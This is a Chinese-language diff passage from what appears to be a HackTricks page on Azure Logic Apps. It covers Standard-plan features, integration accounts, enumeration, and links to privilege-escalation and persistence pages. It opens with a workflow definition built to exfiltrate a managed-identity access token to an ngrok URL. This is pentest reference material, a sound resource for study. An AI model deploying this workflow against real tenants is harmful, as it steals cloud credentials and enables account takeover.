这是一个暴露 HTTP 端点的工作流代码,然后使用 HTTP 操作将访问令牌泄露到配置的 URL在此情况下为 ngrok
<details>
<summary>工作流代码</summary>
```json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
```
</details>
## 逻辑应用 / 标准计划
### 与“单一”工作流的区别
逻辑应用基本上在后台使用应用服务来**托管可以托管多个工作流的逻辑应用**。这意味着逻辑应用将具有应用服务和“单一”工作流的所有功能。
一些关键特性包括:
- **应用服务计划**:标准计划中的逻辑应用托管在应用服务计划上,因此可以使用所有应用服务功能,例如:
- **网络限制**:指示可以从哪里访问。
- **部署中心**可以从外部平台如Github、Bitbucket、Azure Repos、外部Git和本地Git进行部署。
- **FTP访问**可以通过FTP访问逻辑应用的文件。
- **存储帐户**:服务应用使用存储帐户来存储信息。
- **环境变量和应用设置**:可以配置环境变量和应用设置(并找到敏感信息,如存储帐户的访问密钥)。
- ...
- **参数**:参数允许您管理在开发、测试和生产中变化的值。这使您可以先设计工作流,然后轻松调整特定于环境的设置。
- **专用资源**:标准计划中的逻辑应用具有专用资源。
- **多个工作流**:允许创建多个工作流。
有关应用服务的更多信息,请查看:
{{#ref}}
../az-services/az-app-services.md
{{#endref}}
### 枚举
{{#tabs }}
{{#tab name="az cli" }}
@@ -203,17 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
{{#endtab }}
{{#endtabs }}
### 集成帐户
## 集成帐户
**集成帐户**是 Azure Logic Apps 的一个功能。集成帐户用于通过启用高级 B2B 功能(如 EDI、AS2 和 XML 架构管理)来促进企业级集成。集成帐户是 Azure 中的一个容器,用于存储 Logic Apps 使用的以下工件:
* 架构:管理 XML 架构以验证和处理集成帐户中消息。
* 映射:配置基于 XSLT 的转换,以在集成工作流中转换数据格式。
* 程序集:管理集成帐户程序集,以简化逻辑和数据处理。
* 证书:处理用于加密和签名消息的证书,确保安全通信。
* 伙伴:管理 B2B 交易的交易伙伴信息,实现无缝集成。
* 协议配置与交易伙伴交换数据的规则和设置例如EDI、AS2
* 批处理配置:管理批处理配置,以高效地分组和处理消息。
* RosettaNet PIP配置 RosettaNet 伙伴接口流程PIPs以标准化 B2B 通信。
* **架构**:管理用于验证和处理集成帐户中消息的 XML 架构
* **映射**:配置基于 XSLT 的转换,以在集成工作流中转换数据格式。
* **程序集**:管理集成帐户程序集,以简化逻辑和数据处理。
* **证书**:处理用于加密和签名消息的证书,确保安全通信。
* **合作伙伴**:管理 B2B 交易的交易伙伴信息,实现无缝集成。
* **协议**配置与交易伙伴交换数据的规则和设置例如EDI、AS2
* **批处理配置**:管理批处理配置,以高效地分组和处理消息。
* **RosettaNet PIP**:配置 RosettaNet 合作伙伴接口流程PIPs以标准化 B2B 通信。
#### 枚举
@@ -317,7 +393,7 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
## 权限提升
与逻辑应用权限提升相同:
与逻辑应用程序权限提升相同:
{{#ref}}
../az-privilege-escalation/az-logic-apps-privesc.md
@@ -329,4 +405,10 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
## 持久性
{{#ref}}
../az-persistence/az-logic-apps-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}